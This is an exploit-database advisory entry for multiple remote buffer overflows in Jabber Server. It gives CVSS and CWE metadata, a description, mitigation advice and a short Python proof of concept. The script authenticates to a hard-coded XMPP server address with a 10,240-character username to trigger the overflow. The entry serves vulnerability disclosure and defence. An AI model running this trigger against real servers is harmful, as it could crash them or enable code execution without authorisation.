Multiple remote buffer overflow vulnerabilities in Jabber Server

vendor:

Jabber Server

by:

Unknown

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Jabber Server

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE: a:jabber_server

Metasploit:

Other Scripts:

Platforms Tested: Unknown

Unknown

Multiple remote buffer overflow vulnerabilities in Jabber Server

The Jabber Server is affected by multiple remote buffer overflow vulnerabilities. These vulnerabilities occur due to a lack of proper validation of user-supplied strings before copying them into finite process buffers. An attacker can exploit these vulnerabilities to execute arbitrary code on a computer with the privileges of the server process, potentially leading to unauthorized access or privilege escalation.

Mitigation:

Apply the latest patches or updates from the vendor to fix the buffer overflow vulnerabilities. Additionally, it is recommended to implement proper input validation and boundary checking in the application to prevent similar vulnerabilities in the future.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11741/info

Multiple remote buffer overflow vulnerabilities affect the Jabber Server. These issues are due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into finite process buffers.

An attacker may leverage these issues to execute arbitrary code on a computer with the privileges of the server process. This may facilitate unauthorized access or privilege escalation.

#!/usr/bin/python
import xmpp
name = 'a'*10240
# Born a client
cl=xmpp.Client('localhost')
if not cl.connect(server=('192.168.10.138',5222)):
raise IOError('Can not connect to server.') 
if not cl.auth(name,'jabberuserpassword','optional resource name'):
raise IOError('Can not auth with server.')
cl.disconnect()